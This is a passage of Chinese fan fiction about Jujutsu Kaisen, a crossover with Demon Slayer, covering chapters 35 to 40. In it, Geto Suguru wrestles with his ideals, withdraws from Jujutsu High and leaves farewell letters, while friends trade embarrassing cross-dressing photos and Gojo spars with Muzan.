夏油杰只是保持着原有的姿势,十指交叉,手臂搭在腿上。然后他低着头,只给九十九由基露出一个侧脸。他沉默良久,好不容易张开嘴,却也只是流露出一声叹息。 下一秒,夏油杰才缓缓开口说来。 “我……我搞不懂。 我本来以为,咒术师的存在是为了保护非术士。 但最近在我心中,非术士的……价值,产生了动摇。 ………… 因弱小而高贵,因弱小而丑恶。 我开始难以区分和接受这两者了。 我看不起非术士,却也否定这种看不起。 但终点处的风景确实模糊不清的。 我搞不清哪一个才是我的真心。” “这样啊。” 九十九由基转过身子,双手交叠撑着下巴,定定地注视着面前狭长的走廊。 “有没有可能,这两个都是你的真心。” 夏油杰浅浅扬起一个笑容,面上略显无奈。 “那这也太矛盾了吧,前辈。” 九十九由基冲他挑了挑眉,“人本来就是矛盾的呀。” “而这两种截然不同的选项,在你内心达成了长久的争斗,因为某些经历,又在不知名的时候彻底爆发,催促着你一定要有所决定。但现在的你,并没有能力为自己选择前方的道路。 总而言之,你缺少一些阅历。” 九十九由基握起他的手,成功把夏油杰吓了一跳。 “如果你感觉现在的生活不太适合你的精神状态,无法令你做出抉择的话,不如跟着我干一段时间? 我手下的企业正好缺人。” 夏油杰叹了口气,哭笑不得。 “我怎么感觉,您就是想着薅劳动力来的。” “话不能这么说。”九十九由基凑近了些,煞有其事地补充到,“人往往在经历一些重大事件,特别是和以往观念大相径庭的事件后,才会对改变、乃至挑战自身曾经的观念。 想想看,这段时间经历的事情,是不是在挑战你的固有观念。” 夏油杰注视着对方,有些存疑地点点头,随后又确定下来,补充到:“您说的对。” “曾经的你认为咒术师的职责就是保护非术士,而这段时间的经历,使得你对这种观念产生了质疑。 那最好的方法,莫过于去经历更多的事,借此,在今后做出最适合你的选择。” 九十九由基微笑道:“我说的有道理吗?” 夏油杰慢慢点点头,算是赞同了对方的观念。 “正好呢,我在国内和国外的事务都缺人去打理,你也需要一个能够接触更多世界的平台,我们相互帮助嘛。” 九十九由基双手一拍,觉得自己这个决策简直是太天才了,白赚了一个特级来给自己帮忙。 “而且,我又不是不给你工钱。不会让你打白工的啦。” 夏油杰有些迟疑地问到。 “一定要在您手底下干活吗?” 九十九由基摇摇头,搞怪似的跟他解释。 “我可没那个自信,一定能拿下咒灵操使。但你是特级,以你的思维,将来绝不可能单打独斗或是居于人下。 交个朋友也可以嘛——等你以后有了自己的势力,大家可以一起谈合作的嘛。“ “毕竟呢。”九十九由基露出一个自信的笑容,“我这个人,向来是讨厌上下分明的附属关系和你死我活的斗争的。” “当然,你也不用现在就回复我。”九十九由基掏出手机,解锁后递给对方,“加个联系方式?等你有决定之后再联系我也行,反正我这段时间还要留在这边办点事情。” 夏油杰没有拒绝,二人交换了联系方式。 “之后再联系啊!希望等你真正想清楚那天,也别忘了回答我的问题哦。” 最后,九十九由基骑着她的摩托车离开,像风一样的速度,正如她来时的样子。 夏油杰注视着她离去,而后转身。 第36章 第 36 章 “硝子,你喜欢咒术师的…… “硝子, 你喜欢咒术师的工作吗?” 夏油杰坐在窗户上,双手扒着窗沿,像是不经意间的疑问。 家入硝子戴着口罩, 穿着医护服, 专注地盯着手上的医疗器材。 听到夏油杰这番话, 家入硝子一口气没喘上来,呼吸卡了一瞬, 然后重重叹了口气,把头扭过去,上下唇抿紧。虽说带着口罩, 但眼中的无语却是明晃晃地透了出来。 “你几个意思?” 夏油杰右手撑着脸, 连忙解释。 “我就是问问。” 家入硝子眯起眼睛打量了他几眼,又叹了口气, 声音疲倦。 “为什么要喜欢?” “留在后方治疗,非必要不能离开, 连跟三年级的学姐们出去逛街都要提前申请。” 家入硝子说了一半,就没有再继续了,只是洗了洗手,收拾好桌上的摆设。 “当然, 我也不是天天都想逛街。更希望晚上能睡个好觉, 不要整天三更半夜地把人弄醒就不错了。” 家入硝子捂着嘴打了个哈欠, 见夏油杰还呆呆地坐在那里,愈发觉得无语, 直接伸手赶人, 总而言之自己在忙的时候见不得旁人清闲。 “诶诶诶,别推。” 夏油杰扒着窗户沿,“那就不能休息一段时间吗?毕竟我和悟之前有段时间也天天翘任务来着。” 家入硝子瞪了他一眼。 “嗯, 说的不错,临时喘口气而已,高层不会放人的。” 夏油杰眨巴眨巴眼睛,就见着家入硝子把窗户砰的关上,还上了锁。 ………… “灰原,昨天的事之后……你还打算接着干咒术师吗?” “嗯?什么……”灰原雄挠了挠头发,皱了下嘴,“为什么不当咒术师了呢?” 夏油杰坐在他面前,神情放松。 “因为,你差点死掉了吧?继续做下去,不会害怕吗?” “害怕的话……”灰原雄眼睛上撇,摸着下巴思考了一会,声音没有发生丝毫变化,“肯定也有,但是,也还好吧?毕竟我还活着,还拥有了超超超超级厉害的再生能力。” 灰原雄转头去看他,笑容灿烂。 “家入学姐说我超级特殊哦!我也觉得。” “……不会觉得不值吗?” 夏油杰蓦地感觉自己的疑问目的性太强了,又不知道如何掩饰,于是只能语气干巴地补了两句。 “嗯……毕竟你差点死掉,但你在保护的人却对此一无所知。” 灰原雄一拍手掌,清脆的声音把夏油杰吓了一跳。 “怎、怎么了吗?” 灰原雄凑过去看他,“对哦,我现在才想到。” 夏油杰有些摸不清他的思路,“想到什么?” “大家的想法都是不一样的吧?”灰原雄笑得很开心,一点都没有死里逃生的后怕感,反倒是有些不好意思地拍了拍胸口,“我没什么大志向,或者说,我本来就不是会思考很多的人。” “对于我来说呢,努力去做自己能做到的事,这种感觉真的很不错!” “是吗……”夏油杰轻轻笑了起来,额头抵着手背,轻声叹息,“你说的对啊。 但我又能做些什么呢?” 就算再怎么大大咧咧,灰原雄也感觉到了夏油杰现在心情不对,于是他的语气变得小心翼翼起来。 “夏油学长最近,是有什么烦心事吗?” 烦心事? 如果是放在之前,夏油杰绝对不会和灰原雄谈论自己的事,还是自己最近一直在纠结的理想和世界观的问题,毕竟这些属于自己的内在思考,而灰原雄又是学弟,实力和阅历都不及他。 夏油杰承认,自己不想在学弟面前露出脆弱的一面,因为那样会让自己看上去不是很靠谱。再者,夏油杰也真心会觉得,对方给不出什么有用的建议。 但是现在…… 自己看不起弱者,但也否定这种看不起,既然二者都是真心,不如一同接纳下来。 而且,灰原雄经历了死亡。 经历了死亡却仍怀赤子之心,他的精神世界,确实强大。 思考得少一些,会让自己变得轻松吗? 但他做不到停止思考。 ……对啊,要思考。 从头开始吧。 夏油杰猛地感觉自己的思绪在被拉扯,在脑海里分成两个个体,冰冷的乱流正在冲刷着思绪本身。 那么首先,提问:转折点,也就是烦恼的序章,是什么事件? 回答:禅院甚尔,天与咒缚。零咒力的猴子,在悟和自己的手里,杀死了天内理子。 疑问:上述回答之中存在『异常点』。『猴子』这一对普通人的蔑视性称呼,称呼并不符合『夏油杰』个体的一贯理念,『普通人』这一个体在你心里的地位,为什么发生了转变。 回答:……因为『盘星教』对无辜的『星浆体』下悬赏,因为『天与咒缚』为自身的卑微而高贵,因为……。 追问:以前,『夏油杰』和普通人就没有冲突了吗? …… 有。 孩童时代,即进入高专前,在夏油杰找到『同类』之前,由于能看见普通人无法看见的怪物,他一直融入不了同龄人。哪怕夏油杰能将自己伪装出和善的样子,他在内心却也看不起那些,同怪物一起生活但对危机一无所知的普通人。 但那时为什么没有起冲突? 因为夏油杰将自己当做与众不同的救世主,高高在上,俯视众生。 自己并不将普通人的不理解放在眼里。 那为什么现在,普通人身上的恶就如此凝聚,让人无法忽视了呢? ————自己不再是救世主,无法再忽视普通人的恶意。 从幼时被父母和同伴的不理解,然后封闭自己,自然而然地形成了一种固有观念。因为生活在世上的众多普通人,长时间处于茫茫不可知的状态中,而自己以极高的天赋,异于常人的能力,为自己框定了命运。 位于理想之天平的另一侧,是他的实力。 然后现在,平衡被打破,理想再无事实加持,因而沉甸甸地坠地。 在逻辑严密的因果线上,有一个环扣遭到毁灭,因而整个逻辑全线崩塌。 那么现在,最重要的就是。 夏油杰定定地注视着仍然在等待答案的灰原雄,语气迟疑。 “灰原,跟我在一起相处,你会觉得开心吗?” 第37章 第 37 章 幸福到令人落泪…… “灰原, 跟我一起相处,你会觉得开心吗?” 听见他这样子问,灰原雄顿时瞪大了眼睛。 “当然开心了!” 夏油杰微笑着看向他。 “是吗……那具体是在哪个方面呢?” 灰原雄撑着下巴, 面色苦恼, 像是不知从何处说起。 “很多方面啊…… 比如夏油学长很关照我们一年级的, 不管是战斗方面还是生活方面,都给了很多帮助, 很多建议! 刚进入高专的时候,其实我也有点担心,担心适应不了这里的生活啊, 跟不上大家都节奏。” “是吗……我倒是没有看出, 灰原也会担心人际关系之类的。” 像是被勾起了什么美好的回忆,夏油杰也被灰原雄的笑声感染了。 “嘿嘿……”灰原雄的视线往旁边撇了一下, 像是有些不好意思,“可能是我看着就比较是不会在意这方面的人吧……不过刚入学的时候肯定会这么担心, 我也会,现在嘛,就不会了。” “你喜欢在高专的生活吗?” 灰原雄冲他竖起了大拇指。 “超级喜欢!” 夏油杰身体放松地靠在椅背上,面色柔和。 “是啊, 我也喜欢。” 浅浅的寂静蔓延开来, 窗外, 夏日炎炎,阳光依旧刺眼, 绿荫下, 有谁在歌唱。 ………… “其实,我也没做成什么的吧?” 夏油杰曲起右臂,后脑勺枕着臂弯, 连声音都变得轻飘飘的。 “入学一年多,也只是做做高层派下来的任务,跟悟拆拆学校、熬夜打游戏……跟硝子拌嘴,跟一年级的学弟打闹…… 但是我好开心。” 夏油杰蓦地感觉自己脑海里涌上来一些情绪,不像誓言那般坚定,不像梦想那般遥远,也不如要保护普通人那般大义凛然…… 但细细密密的,像是雨天水面上的泡沫,渺小而悠长,慢慢填满了整个心房。 让人想哭,也让人幸福。 夏油杰难得理解到,原来人在幸福的时候,也是会落泪的。 “……我真的好开心,我真的……真的很喜欢在高专的生活,喜欢和大家一起的时候。” 夏油杰感觉自己有些难为情,在后辈面前落泪就更难为情了,所以他仰着头,视线从清晰变向模糊,又变得清晰起来。为了掩饰的颤抖,声音也变得悠长而缓慢。 然后他又想,自己在保护普通人的时候,有像这样幸福过吗?有像这样幸福得想哭过吗? 咒灵球真的很难吃,但他还是强迫自己去吃,但是自己有的时候甚至连凉面都吃不下去了,但是他还是强迫自己去吃。 为什么要强迫自己去吃呢? 因为他的咒术就是这样,可能别人需要冒生命危险才能降服的咒灵,他只要吃点真的很难吃的东西就够了。 可是咒灵球真的很难吃。 可是他还是要吃。 因为夏油杰想变强。 变强后去保护普通人吗?自己这么喜欢战斗,是因为这样能保护普通人吗? 夏油杰眨了眨眼,晶莹的泪水从眼角滑落,寂静无声。 我不知道。 ………… 少年闭上了眼睛。 但是和悟一起战斗真的很开心,消灭完咒灵和他一起打闹着回高专也很开心,无缘无故和悟战斗破坏校园也很开心…… 捉弄硝子很开心,指导学弟也很开心,惹夜蛾老师生气也很开心,不管不顾按自己意愿去做事情的时候更是开心。 天呐,我原来这么喜欢这些一点都不严肃的事情吗。 这世间让人有所眷恋的,不一定是什么宏大的、高尚的誓言,或许只是一点一点、毫不起眼的微小露珠聚集在一起后,就能透出的令人心甘情愿沉溺其中的光亮。 但哪怕是这种微小的事物,也有人不愿意让它留存。 夏油杰的目光陡然冷了下来,视线略显僵硬地向上移动,最终落在了那直直对准二人的摄像头上面。 无言以对,无语沉默。 但夏油杰总感觉,那背后透露出了令人嫌恶的目光。 高专的众人所坚持的,大多都是最为朴素的善恶观,我们偏居一隅,按部就班,但往往身不由己,成为各方势力博弈的棋子。 谁在高高在上?谁在监视一切?谁一直妄图剥夺众人最为在意的生活? 身在局中,再看全局,有如雾里看花,固不真切。 得有人能跳出这个局面,去对抗那些视线。 谁有这个能力。 夏油杰撑着侧脸,唇角微微勾起。 虽说我比不上悟,但好歹,特级的证书也要批下来了。 而且,悟毕竟是御三家的一员,有更需要他的地方。 “灰原。”夏油杰转过头去,温柔地对他笑道,“我们一直都会是好朋友的,对吧?” “当然了!”灰原雄急急忙忙地答复,从对方的言语和态度上觉察到了什么,“额,夏油学长……是想做些什么吗?” 夏油杰略显轻松地点了点头,心里想着,悟会理解自己在做些什么的,就是可惜,说不定高层会限制大家和自己的联络,不过这也是无法避免的事。 夏油杰甚至带着些恶意去想,不如直接把高层的人杀个精光算了,反正悟昨天不也是在加茂家捣乱了吗。 但转念又一想,明面上还需要他们去领大局,至少还有点用。 等没用的时候,就随便吧。 ……………… 夏油杰的行动效率向来高效,想到什么就去做,于是火速地去找夜蛾老师递交了退学申请,在和夜蛾老师进行了长达近一小时的对话后,对方总算是松口了。 毕竟夏油杰曾经是个从来不会和老师谈心的“问题学生”,而这近一个小时的长对话中,夏油杰明里暗里透露出自己准备做些什么的意图,并将九十九由基搬了出来。 他的申请肯定是会被高层那边扣下的,想都不用想,高层才不会允许又有一个特级脱离他们的监控范围内,还和另一个本就“不服管教”的特级站在一起。 但那又怎么样呢? 不爽?可以直接线下找他,就怕对方不敢。 已经确定好接下来的步伐后,夏油杰准备先把高专的事情处理一下。 其实,夏油杰本身不是一个喜欢和别人倾诉的性子。这和他的身份,给别人的一贯印象也有关系。在普通人眼里,夏油杰是品学兼优的好学生,在父母眼里夏油杰是争气但有些怪异、还不服管教的长子,在高专众人眼里,夏油杰和五条悟担了将近两年的最强之名。 大家都会认为他没什么好倾诉的,夏油杰自己也这么认为。 但真的到了离开的时候,心里却多出了蛮多想说的话的,但当面说这些,无论是正襟危坐还是扭扭捏捏的态度,都容易让人起鸡皮疙瘩。 最好的方法就是手机留言,定时发送,方便快捷。 但夏油杰觉得他们看完之后应该会无缝衔接,怒从心起,于是狂打自己的电话……咳咳,这么一想,其实纸质书信也还不错,更有仪式感,而且对方如果能安安稳稳地看完一整封信,而不是怒而把信撕掉的话,其实也说明对方还是能忍受自己的。 于是夏油杰抱着反正都要退学了,不说白不说的心理,越写越起劲,包括但不限于打翻过硝子的化妆品、和五条悟偷穿硝子的衣服,因为他俩骨架过大,硬生生把硝子的衣服撑大了,导致硝子莫名其妙痛失两件校服之类的,夏油杰的手机里现在还有五条悟穿女装的照片……等等,不对,悟手里也有自己的照片,这条删掉重写,不能让硝子找五条悟看,不然整个高专都要传遍了。 …………算了,写都写了,大不了自己也把五条悟的照片转到高专群里。 有关于夏油杰想验证一下自己的咒术能不能对咒骸起作用,于是偷偷拿了夜蛾老师的几个成品来做实验,最后两个咒骸一点没剩之类的。 有关于偷偷往灰原带回来的,给五条悟的伴手礼里面加芥末,成功在不费一只咒灵的情况下把五条悟辣到流泪,事后五条悟拉着灰原雄恶魔训练了将近一周的时间。对了,这封是给灰原雄的。 有关于将夜蛾老师交代给自己的事推给七海建人去做,并美其名曰这是老师考验新生的措施罢了,经常害得七海建人带着灰原雄一起加班。 夏油杰:我去,原来我这么不是人的吗? 夏油杰思索片刻,觉得还是设个束缚,让这些信过段时间才能被拆开算了。 至于五条悟…… 自己在他这里哪有什么秘密,就大发慈悲地夸夸他算了。 夏油杰操持着一张很能迷惑人心的脸,向众人告知了自己即将离开高专的消息,并将离别信送到他们的手里。 眼见同学们肉眼可见的伤感,夏油杰只希望他们在看到信的时候,还能保持这种伤感。 不过自己现在并不是很想见五条悟,总有一种自己背叛了他俩的友情的感觉。 但这样也不错,给点时间让我们都冷静一下,总不能一直玩闹下去了。 但怕什么就来什么,五条悟的电话铃声响起的时候,夏油杰天都塌了,于是站在台阶上仰望天空,顺便装深沉。 最后想了想,还是见一见吧。 夏油杰颇为忧伤地叹了口气。 第38章 第 38 章 退学了哈,有…… 等五条悟从山下冲上来的时候, 夏油杰已经坐在楼梯顶上等他了。 “嗨,悟。”斜阳落下来,像是旧日的余晖, “总感觉好久不见了。” 五条悟注视着他, 步伐都变得慢了下来。 那人固执地追寻着已然逝去的曾经, 但五条悟似乎还认为,这家伙已经从逝去的那些里挣脱出来。 良久, 两人都没说话。 寂静蔓延,却比吵闹之声更为悠长。 五条悟叹了口气,身体仿佛脱力似的摔坐在跟夏油杰同一阶上。他无法理解为什么会到如今的地步, 先是不当挚友, 再是退学,连朋友都不当了, 这也太糟糕了吧? 五条悟用右手撑着侧脸,墨镜之后的眸子半眯着, 面色不善。 “哦,听硝子说,你要退学了?” 五条悟脸上的墨镜有些滑落,但还是稳稳地被架在鼻梁上, 只是露出一半湛蓝的双眼, 视线似乎想往对方那里看, 但又在压抑着什么。五条悟的眼神掩饰性地转了一圈,最后只是落回灰扑扑的石阶上。 夏油杰也是一样, 只不过, 他更加从容一些。具体体现在,他平和的目光确确实实落在五条悟脸上,然后顿住了几秒, 接着又被移开。 要硬生生折断对两人来说都十分宝贵的青春,这对彼此而言都不是什么好事。 “是啊。”夏油杰的语气怔怔的,但面上像是松了口气,又被沉甸甸的思绪侵扰着,显露出一丝忧虑,“虽然高层那边审核退学申请的效率肯定慢的不行,但我还是很快就要走了。” “……就这几天?” 五条悟质疑着,皱着眉头把脑袋扭了过去。 “就在今天。” 夏油杰没有犹豫,只是放慢了语速,坚决中带着点不舍。 五条悟龇牙咧嘴了半天,五官扭曲的程度跟吃了十倍酸度的柠檬差不了多少。但作弄了半天,夏油杰还是那副温温沉沉的样子。 不算活泼,但也并不虚弱。 只是温和,还有更多的深沉。 五条悟真心实意地叹了口气,真心实意地感到挚友的变化,而自己不舍得他的离去,却又无法阻止他的意志。于是五条悟把脸迈进臂弯里,眼睛直勾勾地盯着灰暗的石阶。 “这也太突然了吧,杰!” 五条悟猛地扭头,十分不满地盯着他。 “而且我居然是最后一个知道的 ! ! ! 你居然没有自己打电话给我 ! ! ! 连什么什么告别信之类的东西还是拜托硝子的 ! ! ! ” 五条悟满脸控诉,又恢复了以往活泼的样子。 “我在你眼里就这么幼稚吗? ! ! ! ” 夏油杰默默将目光移开。 又是长久的沉默。 五条悟再次,重重,叹气,呼吸起伏声非常明显地表示自己现在的不满。 “那你离开高专之后,准备去干什么?” 夏油杰浅浅回应,两人间的气氛正常起来。 “嗯……今天,九十九前辈提出我可以去她那里帮忙。” “九十九由基?”五条悟眼眸一撇,面上怀疑,“怎么她也搅和进来了?” “而且这家伙不怎么看得上高专的作风吧?” “这样啊……”夏油杰点点头,示意自己明白了,“所以我还在考虑……最好可以是合作关系。但这样的话,我确实要另觅他处。” “不管是合作还是隶属,你跟九十九走太近,高层那边不是要炸了?” 五条悟下半身没动,上半身倾斜着靠过去。 “物理意义上的?” 夏油杰反问。 五条悟咧嘴一笑,确定他还是自己认识的夏油杰,伸直了双臂伸了个懒腰,让烦恼的情绪一扫而空。 “物理和心理双重层面上都是吧?” 夏油杰噗嗤一笑,“那岂不是正好?” 五条悟:“我觉得你说的对。” 夏油杰:“我也觉得自己说的很对。” “啊呀烦死了!”五条悟猛地晃了下脑袋,“所以说你到底准备在哪落脚?” “让我想想。”夏油杰还真的非常认真的思考起来,“其实,最好,是已经有了完善架构和情报网络的组织,这样方便我接手。然后在民间的影响力不能太低,到无人问津的那种程度,无论要做什么,都不太方便。当然,但也不能全是恶评的那种,那样岂不是正好给了高层清算的理由。 如果我一到地方就能直升高层,或者当是最高领导人的那种,咳咳,暴力接手或者做做交易什么的,我不挑的。虽然是民间组织,但如果能和官方扯上关系就更好了。” 五条悟一听,直接当人面吐槽,“这还叫不挑吗?哪个好地方要被你摧残了?” 片刻沉默过后,蓦地,两人浑身一抖,莫名其妙对视一眼,脑海中不约而同地想到了同一个地方。 既符合夏油杰的要求,同时也不是什么好地方,摧残起来并不心疼。 夏油杰:“……如果是这里的话,再怎么摧残也不过分吧?” 五条悟:“……我觉得你说的有道理。” ………… 盘星教,一切转折开始的地方。 “要帮忙吗?” 夏油杰随性一笑,“我会需要?” 下一秒,电话铃声响了起来,夏油杰往手机上一看。 来电人:家入硝子。 夏油杰:…… 完蛋,这确实需要悟帮下忙。 夏油杰非常聪明地没有直接挂掉电话,只是把手机静音,转头面对五条悟。 “总而言之,我应该已经准备好了……是这样的。” “这里就交给你了呢,悟。” 五条悟无奈地看着他,但又不会被这种无奈束缚太久。 “好好好,我也会认真起来的。” 两人交过心后,夏油杰坐着他的咒灵火速飞走了。 五条悟:不是,他走那么快干嘛? 下一秒,五条悟的电话铃声也响了起来,低头一看,还是家入硝子打来的。 “喂,硝子,有什么……” “夏油杰在不在你身边。” 五条悟还没意识到会发生什么。 “不在,他刚刚走了。” 家入硝子此时正站在自己的实验桌前,右手拿着手术刀比着刀花。 “是吗。” “那正好。” 家入硝子张嘴,把抽完的烟吐到垃圾桶里。 “你来我这边一趟。” 第39章 第 39 章 不行,现在…… “诶诶诶诶! 硝子!冷静————” “我冷静个毛线啊五条悟!” 家入硝子难得摘下了她的口罩, 棕色的刘海末端浮在眼睫上方,并随着人体的移动摇摇晃晃的。 “我说怎么我去年莫名其妙少了两套校服,靠! 是你们的尺码吗?就穿!” 五条悟紧紧抓住被家入硝子拍到桌上的文件夹, 抬起来遮住脸, 时不时露出一双眼睛观察她。 “那我们后面不是帮你向夜蛾再次申请校服了嘛! 硝子真是的, 不要看不见我们的好啊!” “哦,你还好上了?”家入硝子由于多吸了几根烟, 声音带着点沙哑,“我以前只是以为你俩是人渣,没想到你俩还是变态啊?!” 家入硝子的表情顿了一下, 转念似乎又想起什么。 “对了, 我跟着那两件衣服一起找不到的化妆品呢?” 五条悟的视线一股脑地往上方撇,在意识到逃不过去的时候, 默默后退了两步,避免对方直接拿手术刀丢自己。 “那衣服穿都穿了, 不得要化点妆的吗?” 家入硝子扶着桌子忍不住笑了起来,“你倒是有理了。 那你们化完之后呢?整版的粉底腮红和眼影呢,就没啦? 你俩那大脸盘子能一下子消耗我半年的分量吗???” 五条悟的视线可疑地移开,然后在家入硝子愈发凝重的注视下终于转了回来。 ………… “诶呀!”五条悟发出一声怪叫, “因为杰他化妆技术真的很丑嘛!我说他两句他还不高兴了! 然后我准备给他露一手嘛, 然后就那个了嘛, 手劲儿太大把里面那粉饼压碎了嘛……” 五条悟尴尬地笑了两声,瞅着家入硝子沉默的样子, 尝试为自己辩解。 “不是故意的啦硝子…… 而且我俩在那天之后, 还去专柜给你挑了新的化妆品呢!” 家入硝子干巴巴地笑了一声,感觉在生活中那些莫名其妙发生的,同时, 又不是很正经的诡异事件,只要安在这俩人渣头上,似乎都能得到解答。 “我说呢…………” 家入硝子深深叹了一口气,深感果然,人在无语的时候真的会笑出声来。 “五条悟,我说呢……” “诶?” 家入硝子卷起袖子,咬牙切齿,“我说呢,我想我的审美也没差劲到那种地步,我居然在我的化妆包里看见了一盘巨不显色的眼影,和另一管超级显黑的口红。 为了防止我是不是熬夜把脑子熬出问题了,我还特意去了线下专柜问工作人员。” “这种颜色怎么可能出现在我这里?都快把我整不自信了哈,五条悟夏油杰,你们两个真是好样的!” 五条悟举起双手,并将锅甩给了现在不在场的夏油杰。 “是杰他挑的,我还劝过他来着!” 家入硝子表示不信,“就你?你能比他好的到哪去?” “我还是有实力的,硝子你不能这么说我。” 五条悟低下头,手指在手机屏幕上划了半天,终于在相册里找到一年前的照片。 “哝,你看。 这是我给杰化的,是不是很好看嘛!” 五条悟举着手机,把屏幕凑到家入硝子面前,满脸都是“不愧是我连化妆都能化得这么好看”的表情。 家入硝子定睛一看…… 嚯,这是夏油杰? 如果说五条悟的脸型相对比较柔和,骨骼感一般,也就是俗称的娃娃脸。那么夏油杰的脸则是靠骨相撑起来的,下颌清晰硬朗,五官立体,是标准的盐系帅哥。 所以,这种脸型向来是不适合扮女相的,很容易出现上妆上到一半,五官过于别扭而产生金刚芭比的既视感。 而面对这种情况,五条悟选择用深阴影来模糊下颌线的存在,并通过加深眼窝四周及鼻侧阴影,进一步加深五官的立体感。随后又用夸张的眼影配色来填充眼周并为眼部塑型,眼线走向选择在夏油杰原本眼型的基础上继续上挑,配合厚重但有层次感的烟熏妆。 你别说,你还真别说。 浓颜系狐狸美人。 不过照片应该是特地凹了角度才能达到这个效果。原相机无美颜,还是十分直男的怼脸拍,再加上五条悟的手机像素很好,把夏油杰脸部的瑕疵和化妆品的厚重感都拍了出来,但看着仍然很震撼就是了。 虽然在家入硝子看来,这上妆的手法还略显稚嫩,很多地方的细节还没有处理好。 但不得不承认,这家伙的审美是顶级的。 家入硝子心里迷茫了, 这就是五条悟? “哈哈!”五条悟双手叉腰,十分得意地笑道,“我就知道我化的不错,连硝子都被折服了耶。” 好吧。 家入硝子内心轻哼一声。 果然是五条悟。 “照片发我一张。”家入硝子的面上露出了迷之微笑,“我要和学姐们分享一下。” “没问题。”五条悟非常爽快。 在照片发出去之后,家入硝子盯着他笑,勾了勾手。 “你自己都说了你俩一起的,那夏油杰手机里有没有你的女装照片?” “我没注意,那个时候光顾着嘲笑杰的审美了。” 五条悟摸着下巴,思考了两下。 “不过按他的个性,包会留照片的好吧。” “那家伙不接我电话。”家入硝子冲五条悟抬了抬下巴,“你打一下,看他会不会接。” “好哦。” 五条悟果断拨打电话,出乎意料的是,电话声响了两下,然后就被接了起来。 但没想到的是,那边传来了嘈杂的人声,然后夏油杰的声音恍恍惚惚地出现了两下,又模糊起来。 “杰!你听得到吗?” “喂…………喂喂喂,不行啊悟……信号不好,我先挂了啊,正忙着呢。” 然后电话被挂断。 五条悟&家入硝子:………… ……演技好差。 “不行。”家入硝子今天铁了心的,要从夏油杰手里拿到五条悟的女装照,于是让五条悟继续打电话,自己则是对夏油杰进行信息轰炸。 【家入硝子:夏油,给你个机会,把五条悟的女装照交出来。不然就把你的女装照发到高专群里。】 【夏油杰:?等等,你已经拿到啦?】 【家入硝子:不然?五条悟这个人渣又不像你这么要面子。】 【夏油杰:…………】 【家入硝子:搞快点,别磨磨唧唧的。】 【夏油杰:你以为我傻吗硝子,你现在肯定已经发了,说不定在群里发完之后,还会挨个@每个群员。】 【家入硝子:这不更说明了,你现在急需五条悟的女装照,冲散同学们的注意力嘛。】 夏油杰转念一想,也对。 于是转头对家入硝子发起图片轰炸,其中包括极其死亡的怼脸拍角度,半身像,全身像,偷拍视角下的搞怪动作。 好不容易找到了一张还算端正的正脸照,家入硝子一看五条悟的脸,顿时破功了,撑着桌子艰难憋笑。 五条悟一头雾水,随后快两步走到家入硝子身后,去看她的手机屏。 “我靠 ! ! ! 这也太丑了吧——————” 只能说,这个妆面,很符合家入硝子对钢铁直男的刻板印象。 粉底液糊了厚厚的一层,随后眼线把半个眼皮都填满了,眼影糊到眉骨上,这里浓那里淡的。腮红更是直接简单粗暴地在面颊中间涂了两个圆圈,和白得死气沉沉的粉底液一配合,成功衬托出了又白又红的大脸盘子。 家入硝子无法控制住五官的扭曲,只能捂着脸靠在墙面上,尽力不去看五条悟。 她怕自己一瞅见对方就会笑场。 “哈哈哈哈哈哈———— 五条悟…………呃,没关系——噗嗤,咳咳,没事。 ……你天生丽质,哈哈哈哈 ! ! ! ” “硝子 ! ! ! ” “不行,越看越丑…… 得赶紧让大家一起品鉴一下。” 五条悟撇着嘴,十分不情愿地任她去了,然后将怨气发泄在罪魁祸首夏油杰身上。 【五条悟:杰! 你好过分啊 ! ! ! 我给你化的那么好看,你化的也太丑了 ! ! ! 】 【夏油杰:…………所以你在乎的原来是不好看这点吗?】 【五条悟:不然呢?主要真的很丑啊。】 【夏油杰:你难道不觉得,男生的女装照要被发群里,还要被同学老师们一起看到。很会丢脸的吧?】 【五条悟:可是我化的确实很好看啊!】 【夏油杰:重点不是这个啦!】 【五条悟:对对对,重点就是,你有病吧,杰!特意给我留点难题,让我不至于太过悠闲是吧? 啊啊啊…………我为什么要给你售后服务啊……】 夏油杰莫名心虚,随后选择潜水。 【五条悟:你起码告诉我另外几个那边会发生什么吧? 杰? 不回我? 可恶啊啊啊 ! 】 五条悟怒而摁掉手机,觉得现在高专不是很能待得下去了,自己得出去避避风头,不然等会夜蛾老师的铁拳就要砸下来了。 不过,去哪里呢? 五条悟摸着下巴沉思。 一个人的话,总感觉玩什么都没意思;做任务的话,我现在可不想给高层的老东西打工;五条家的话,本来就不是很想去…… 嗯,不对。 无惨那家伙是不是现在还在五条家? 有意思,找他玩算了,顺便还能跟十种影法术见上一见。 五条悟思考了一下这两天本来要处理的事情,十分简洁地给夜蛾正道发了个信息,说明情况并拜托他照顾一下已经到高专的加茂宪纪和禅院姐妹,最后十分没心没肺地把手机关机,一个瞬移消失在原地。 第40章 第 40 章 老子才没有觉…… “下午好 ! ! ! 不是! 你别关门啊 ! ” 五条悟面目狰狞, 两只手死死扒着木质的房门,盯着他控诉。 “干嘛!这么不想看见我吗!” 自己可是特意来找他玩的诶?不欢迎就算了,怎么一副烦的不行的样子嗷。 在找鬼舞辻无惨之前, 五条悟先是去见了五条家主一面, 浅浅了解了这两天过后, 加茂家和禅院家的态度,接着问了下鬼舞辻无惨住哪。 这之后, 五条悟就目标明确地往鬼舞辻无惨的住所来了,再之后,就是现在的场景。 “你很吵, 能不能闭嘴。” 向来都是鬼舞辻无惨俯视别人, 所以他极其不适应需要自己仰视的人,于是干脆闭上眼睛, 往旁边侧过脸,整一个不想理他的样子。 “你这家伙, 要不要这么看不起人啊。” 五条悟调动咒力,湛蓝色的光亮从他的掌心萌生,凭借极其精准的对咒术力量的掌控,“苍”的力量波动瞬间席卷整扇房门, 木质的推拉门瞬间破碎, 木屑翻飞, 又被飞舞着的骨刺撞开。 鬼舞辻无惨眸色一暗,身子后退两步, 随之上前的是数根夹杂着血色的骨刺, 目标准确地向五条悟的喉咙和太阳穴刺去。 五条悟堪堪躲过,语气中带了点不可置信。 “不是,你来真的啊?” 五条悟手指弯曲, 茈的光亮瞬间从指间爆发出来,直接无差别摧毁了攻来的骨刺,还波及了墙壁和地板。鬼舞辻无惨皱着眉,将骨刺回收到脊椎中。 五条悟抓住对方停顿的空隙,抱着豁出去了的心态,第一次选择在狭小的空间内使用瞬移,好巧不巧,还给他蒙对了。 在先前未曾展现出来的速度显然超出了鬼舞辻无惨的预料,直到五条悟的身体逼近,对方的瞳孔中才映出他的身形。 鬼舞辻无惨的瞳孔微微放大,第一次来不及反应,被五条悟按着脖子,被迫后退。 